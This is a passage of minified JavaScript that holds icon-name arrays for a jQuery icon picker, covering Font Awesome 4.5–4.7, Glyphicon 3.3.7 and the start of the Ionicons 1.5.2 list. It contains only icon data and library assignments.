","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","wikipedia-w","windows","won","wordpress","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.5.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asterisk","at","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edge","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","fort-awesome","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gittip","glass","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","sign-in","sign-out","signal","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","video-camera","vimeo","vimeo-square","vine","vk","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wifi","wikipedia-w","windows","won","wordpress","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]
},{version:"4.6.0",icons:["","500px","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","american-sign-language-interpreting","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asl-interpreting","assistive-listening-systems","asterisk","at","audio-description","automobile","backward","balance-scale","ban","bank","bar-chart","bar-chart-o","barcode","bars","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","blind","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","braille","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","deaf","deafness","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","dropbox","drupal","edge","edit","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-square","envira","eraser","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","fonticons","fort-awesome","forumbee","forward","foursquare","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gitlab","gittip","glass","glide","glide-g","globe","google","google-plus","google-plus-square","google-wallet","graduation-cap","gratipay","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","hard-of-hearing","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","ils","image","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","low-vision","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meh-o","mercury","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","question-circle-o","quote-left","quote-right","ra","random","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","sign-in","sign-language","sign-out","signal","signing","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","snapchat","snapchat-ghost","snapchat-square","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","universal-access","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-md","user-plus","user-secret","user-times","users","venus","venus-double","venus-mars","viacoin","viadeo","viadeo-square","video-camera","vimeo","vimeo-square","vine","vk","volume-control-phone","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wheelchair-alt","wifi","wikipedia-w","windows","won","wordpress","wpbeginner","wpforms","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","youtube","youtube-play","youtube-square"]},{version:"4.7.0",icons:["","500px","address-book","address-book-o","address-card","address-card-o","adjust","adn","align-center","align-justify","align-left","align-right","amazon","ambulance","american-sign-language-interpreting","anchor","android","angellist","angle-double-down","angle-double-left","angle-double-right","angle-double-up","angle-down","angle-left","angle-right","angle-up","apple","archive","area-chart","arrow-circle-down","arrow-circle-left","arrow-circle-o-down","arrow-circle-o-left","arrow-circle-o-right","arrow-circle-o-up","arrow-circle-right","arrow-circle-up","arrow-down","arrow-left","arrow-right","arrow-up","arrows","arrows-alt","arrows-h","arrows-v","asl-interpreting","assistive-listening-systems","asterisk","at","audio-description","automobile","backward","balance-scale","ban","bandcamp","bank","bar-chart","bar-chart-o","barcode","bars","bath","bathtub","battery","battery-0","battery-1","battery-2","battery-3","battery-4","battery-empty","battery-full","battery-half","battery-quarter","battery-three-quarters","bed","beer","behance","behance-square","bell","bell-o","bell-slash","bell-slash-o","bicycle","binoculars","birthday-cake","bitbucket","bitbucket-square","bitcoin","black-tie","blind","bluetooth","bluetooth-b","bold","bolt","bomb","book","bookmark","bookmark-o","braille","briefcase","btc","bug","building","building-o","bullhorn","bullseye","bus","buysellads","cab","calculator","calendar","calendar-check-o","calendar-minus-o","calendar-o","calendar-plus-o","calendar-times-o","camera","camera-retro","car","caret-down","caret-left","caret-right","caret-square-o-down","caret-square-o-left","caret-square-o-right","caret-square-o-up","caret-up","cart-arrow-down","cart-plus","cc","cc-amex","cc-diners-club","cc-discover","cc-jcb","cc-mastercard","cc-paypal","cc-stripe","cc-visa","certificate","chain","chain-broken","check","check-circle","check-circle-o","check-square","check-square-o","chevron-circle-down","chevron-circle-left","chevron-circle-right","chevron-circle-up","chevron-down","chevron-left","chevron-right","chevron-up","child","chrome","circle","circle-o","circle-o-notch","circle-thin","clipboard","clock-o","clone","close","cloud","cloud-download","cloud-upload","cny","code","code-fork","codepen","codiepie","coffee","cog","cogs","columns","comment","comment-o","commenting","commenting-o","comments","comments-o","compass","compress","connectdevelop","contao","copy","copyright","creative-commons","credit-card","credit-card-alt","crop","crosshairs","css3","cube","cubes","cut","cutlery","dashboard","dashcube","database","deaf","deafness","dedent","delicious","desktop","deviantart","diamond","digg","dollar","dot-circle-o","download","dribbble","drivers-license","drivers-license-o","dropbox","drupal","edge","edit","eercast","eject","ellipsis-h","ellipsis-v","empire","envelope","envelope-o","envelope-open","envelope-open-o","envelope-square","envira","eraser","etsy","eur","euro","exchange","exclamation","exclamation-circle","exclamation-triangle","expand","expeditedssl","external-link","external-link-square","eye","eye-slash","eyedropper","fa","facebook","facebook-f","facebook-official","facebook-square","fast-backward","fast-forward","fax","feed","female","fighter-jet","file","file-archive-o","file-audio-o","file-code-o","file-excel-o","file-image-o","file-movie-o","file-o","file-pdf-o","file-photo-o","file-picture-o","file-powerpoint-o","file-sound-o","file-text","file-text-o","file-video-o","file-word-o","file-zip-o","files-o","film","filter","fire","fire-extinguisher","firefox","first-order","flag","flag-checkered","flag-o","flash","flask","flickr","floppy-o","folder","folder-o","folder-open","folder-open-o","font","font-awesome","fonticons","fort-awesome","forumbee","forward","foursquare","free-code-camp","frown-o","futbol-o","gamepad","gavel","gbp","ge","gear","gears","genderless","get-pocket","gg","gg-circle","gift","git","git-square","github","github-alt","github-square","gitlab","gittip","glass","glide","glide-g","globe","google","google-plus","google-plus-circle","google-plus-official","google-plus-square","google-wallet","graduation-cap","gratipay","grav","group","h-square","hacker-news","hand-grab-o","hand-lizard-o","hand-o-down","hand-o-left","hand-o-right","hand-o-up","hand-paper-o","hand-peace-o","hand-pointer-o","hand-rock-o","hand-scissors-o","hand-spock-o","hand-stop-o","handshake-o","hard-of-hearing","hashtag","hdd-o","header","headphones","heart","heart-o","heartbeat","history","home","hospital-o","hotel","hourglass","hourglass-1","hourglass-2","hourglass-3","hourglass-end","hourglass-half","hourglass-o","hourglass-start","houzz","html5","i-cursor","id-badge","id-card","id-card-o","ils","image","imdb","inbox","indent","industry","info","info-circle","inr","instagram","institution","internet-explorer","intersex","ioxhost","italic","joomla","jpy","jsfiddle","key","keyboard-o","krw","language","laptop","lastfm","lastfm-square","leaf","leanpub","legal","lemon-o","level-down","level-up","life-bouy","life-buoy","life-ring","life-saver","lightbulb-o","line-chart","link","linkedin","linkedin-square","linode","linux","list","list-alt","list-ol","list-ul","location-arrow","lock","long-arrow-down","long-arrow-left","long-arrow-right","long-arrow-up","low-vision","magic","magnet","mail-forward","mail-reply","mail-reply-all","male","map","map-marker","map-o","map-pin","map-signs","mars","mars-double","mars-stroke","mars-stroke-h","mars-stroke-v","maxcdn","meanpath","medium","medkit","meetup","meh-o","mercury","microchip","microphone","microphone-slash","minus","minus-circle","minus-square","minus-square-o","mixcloud","mobile","mobile-phone","modx","money","moon-o","mortar-board","motorcycle","mouse-pointer","music","navicon","neuter","newspaper-o","object-group","object-ungroup","odnoklassniki","odnoklassniki-square","opencart","openid","opera","optin-monster","outdent","pagelines","paint-brush","paper-plane","paper-plane-o","paperclip","paragraph","paste","pause","pause-circle","pause-circle-o","paw","paypal","pencil","pencil-square","pencil-square-o","percent","phone","phone-square","photo","picture-o","pie-chart","pied-piper","pied-piper-alt","pied-piper-pp","pinterest","pinterest-p","pinterest-square","plane","play","play-circle","play-circle-o","plug","plus","plus-circle","plus-square","plus-square-o","podcast","power-off","print","product-hunt","puzzle-piece","qq","qrcode","question","question-circle","question-circle-o","quora","quote-left","quote-right","ra","random","ravelry","rebel","recycle","reddit","reddit-alien","reddit-square","refresh","registered","remove","renren","reorder","repeat","reply","reply-all","resistance","retweet","rmb","road","rocket","rotate-left","rotate-right","rouble","rss","rss-square","rub","ruble","rupee","s15","safari","save","scissors","scribd","search","search-minus","search-plus","sellsy","send","send-o","server","share","share-alt","share-alt-square","share-square","share-square-o","shekel","sheqel","shield","ship","shirtsinbulk","shopping-bag","shopping-basket","shopping-cart","shower","sign-in","sign-language","sign-out","signal","signing","simplybuilt","sitemap","skyatlas","skype","slack","sliders","slideshare","smile-o","snapchat","snapchat-ghost","snapchat-square","snowflake-o","soccer-ball-o","sort","sort-alpha-asc","sort-alpha-desc","sort-amount-asc","sort-amount-desc","sort-asc","sort-desc","sort-down","sort-numeric-asc","sort-numeric-desc","sort-up","soundcloud","space-shuttle","spinner","spoon","spotify","square","square-o","stack-exchange","stack-overflow","star","star-half","star-half-empty","star-half-full","star-half-o","star-o","steam","steam-square","step-backward","step-forward","stethoscope","sticky-note","sticky-note-o","stop","stop-circle","stop-circle-o","street-view","strikethrough","stumbleupon","stumbleupon-circle","subscript","subway","suitcase","sun-o","superpowers","superscript","support","table","tablet","tachometer","tag","tags","tasks","taxi","telegram","television","tencent-weibo","terminal","text-height","text-width","th","th-large","th-list","themeisle","thermometer","thermometer-0","thermometer-1","thermometer-2","thermometer-3","thermometer-4","thermometer-empty","thermometer-full","thermometer-half","thermometer-quarter","thermometer-three-quarters","thumb-tack","thumbs-down","thumbs-o-down","thumbs-o-up","thumbs-up","ticket","times","times-circle","times-circle-o","times-rectangle","times-rectangle-o","tint","toggle-down","toggle-left","toggle-off","toggle-on","toggle-right","toggle-up","trademark","train","transgender","transgender-alt","trash","trash-o","tree","trello","tripadvisor","trophy","truck","try","tty","tumblr","tumblr-square","turkish-lira","tv","twitch","twitter","twitter-square","umbrella","underline","undo","universal-access","university","unlink","unlock","unlock-alt","unsorted","upload","usb","usd","user","user-circle","user-circle-o","user-md","user-o","user-plus","user-secret","user-times","users","vcard","vcard-o","venus","venus-double","venus-mars","viacoin","viadeo","viadeo-square","video-camera","vimeo","vimeo-square","vine","vk","volume-control-phone","volume-down","volume-off","volume-up","warning","wechat","weibo","weixin","whatsapp","wheelchair","wheelchair-alt","wifi","wikipedia-w","window-close","window-close-o","window-maximize","window-minimize","window-restore","windows","won","wordpress","wpbeginner","wpexplorer","wpforms","wrench","xing","xing-square","y-combinator","y-combinator-square","yahoo","yc","yc-square","yelp","yen","yoast","youtube","youtube-play","youtube-square"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_fontawesome=data}(jQuery);
!function($){var data={iconClass:"glyphicon",iconClassFix:"glyphicon-",icons:[],allVersions:[{version:"3.3.7",icons:["","adjust","align-center","align-justify","align-left","align-right","arrow-down","arrow-left","arrow-right","arrow-up","asterisk","backward","ban-circle","barcode","bell","bold","book","bookmark","briefcase","bullhorn","calendar","camera","certificate","check","chevron-down","chevron-left","chevron-right","chevron-up","circle-arrow-down","circle-arrow-left","circle-arrow-right","circle-arrow-up","cloud","cloud-download","cloud-upload","cog","collapse-down","collapse-up","comment","compressed","copyright-mark","credit-card","cutlery","dashboard","download","download-alt","earphone","edit","eject","envelope","euro","exclamation-sign","expand","export","eye-close","eye-open","facetime-video","fast-backward","fast-forward","file","film","filter","fire","flag","flash","floppy-disk","floppy-open","floppy-remove","floppy-save","floppy-saved","folder-close","folder-open","font","forward","fullscreen","gbp","gift","glass","globe","hand-down","hand-left","hand-right","hand-up","hd-video","hdd","header","headphones","heart","heart-empty","home","import","inbox","indent-left","indent-right","info-sign","italic","leaf","link","list","list-alt","lock","log-in","log-out","magnet","map-marker","minus","minus-sign","move","music","new-window","off","ok","ok-circle","ok-sign","open","paperclip","pause","pencil","phone","phone-alt","picture","plane","play","play-circle","plus","plus-sign","print","pushpin","qrcode","question-sign","random","record","refresh","registration-mark","remove","remove-circle","remove-sign","repeat","resize-full","resize-horizontal","resize-small","resize-vertical","retweet","road","save","saved","screenshot","sd-video","search","send","share","share-alt","shopping-cart","signal","sort","sort-by-alphabet","sort-by-alphabet-alt","sort-by-attributes","sort-by-attributes-alt","sort-by-order","sort-by-order-alt","sound-5-1","sound-6-1","sound-7-1","sound-dolby","sound-stereo","star","star-empty","stats","step-backward","step-forward","stop","subtitles","tag","tags","tasks","text-height","text-width","th","th-large","th-list","thumbs-down","thumbs-up","time","tint","tower","transfer","trash","tree-conifer","tree-deciduous","unchecked","upload","usd","user","volume-down","volume-off","volume-up","warning-sign","wrench","zoom-in","zoom-out"]}]},l=data.allVersions.length;data.icons=data.allVersions[l-1].icons,$.iconset_glyphicon=data}(jQuery);
!function($){var data={iconClass:"",iconClassFix:"ion-",icons:[],allVersions:[{version:"1.5.2",icons:["","alert","alert-circled","android-add","android-add-contact","android-alarm","android-archive","android-arrow-back","android-arrow-down-left","android-arrow-down-right","android-arrow-forward","android-arrow-up-left","android-arrow-up-right","android-battery","android-book","android-calendar","android-call","android-camera","android-chat","android-checkmark","android-clock","android-close","android-contact","android-contacts","android-data","android-developer","android-display","android-download","android-drawer","android-dropdown","android-earth","android-folder","android-forums","android-friends","android-hand","android-image","android-inbox","android-information","android-keypad","android-lightbulb","android-locate","android-location","android-mail","android-microphone","android-mixer","android-more","android-note","android-playstore","android-printer","android-promotion","android-reminder","android-remove","android-search","android-send","android-settings","android-share","android-social","android-social-user","android-sort","android-stair-drawer","android-star","android-stopwatch","android-storage","android-system-back","android-system-home","android-system-windows","android-timer","android-trash","android-user-menu","android-volume","android-wifi","aperture","archive","arrow-down-a","arrow-down-b","arrow-down-c","arrow-expand","arrow-graph-down-left","arrow-graph-down-right","arrow-graph-up-left","arrow-graph-up-right","arrow-left-a","arrow-left-b","arrow-left-c","arrow-move","arrow-resize","arrow-return-left","arrow-return-right","arrow-right-a","arrow-right-b","arrow-right-c","arrow-shrink","arrow-swap","arrow-up-a","arrow-up-b","arrow-up-c","asterisk","at","bag","battery-charging","battery-empty","battery-full","battery-half","battery-low","beaker","beer","bluetooth","bonfire","bookmark","briefcase","bug","calculator","calendar","camera","card","cash","chatbox","chatbox-working","chatboxes","chatbubble","chatbubble-working","chatbubbles","checkmark","checkmark-circled","checkmark-round","chevron-down","chevron-left","chevron-right","chevron-up","clipboard","clock","close","close-circled","close-round","closed-captioning","cloud","code","code-download","code-working","coffee","compass","compose","connection-bars","contrast","cube","disc","document","document-text","drag","earth","edit","egg","eject","email","eye","eye-disabled","female","filing","film-marker","fireball","flag","flame","flash","flash-off","flask","folder","fork","fork-repo","forward","funnel","game-controller-a","game-controller-b","gear-a","gear-b","grid","hammer","happy","headphone","heart","heart-broken","help","help-buoy","help-circled","home","icecream","image","images","information","information-circled","ionic","ios7-alarm","ios7-alarm-outline","ios7-albums","ios7-albums-outline","ios7-americanfootball","ios7-americanfootball-outline","ios7-analytics","ios7-analytics-outline","ios7-arrow-back","ios7-arrow-down","ios7-arrow-forward","ios7-arrow-left","ios7-arrow-right","ios7-arrow-thin-down","ios7-arrow-thin-left","ios7-arrow-thin-right","ios7-arrow-thin-up","ios7-arrow-up","ios7-at","ios7-at-outline","ios7-barcode","ios7-barcode-outline","ios7-baseball","ios7-baseball-outline","ios7-basketball","ios7-basketball-outline","ios7-bell","ios7-bell-outline","ios7-bolt","ios7-bolt-outline","ios7-bookmarks","ios7-bookmarks-outline","ios7-box","ios7-box-outline","ios7-briefcase","ios7-briefcase-outline","ios7-browsers","ios7-browsers-outline","ios7-calculator","ios7-calculator-outline","ios7-calendar","ios7-calendar-outline","ios7-camera","ios7-camera-outline","ios7-cart","ios7-cart-outline","ios7-chatboxes","ios7-chatboxes-outline","ios7-chatbubble","ios7-chatbubble-outline","ios7-checkmark","ios7-checkmark-empty","ios7-checkmark-outline","ios7-circle-filled","ios7-circle-outline","ios7-clock","ios7-clock-outline","ios7-close","ios7-close-empty","ios7-close-outline","ios7-cloud","ios7-cloud-download","ios7-cloud-download-outline","ios7-cloud-outline","ios7-cloud-upload","ios7-cloud-upload-outline","ios7-cloudy","ios7-cloudy-night","ios7-cloudy-night-outline","ios7-cloudy-outline","ios7-cog","ios7-cog-outline","ios7-compose","ios7-compose-outline","ios7-copy","ios7-copy-outline","ios7-download","ios7-download-outline","ios7-drag","ios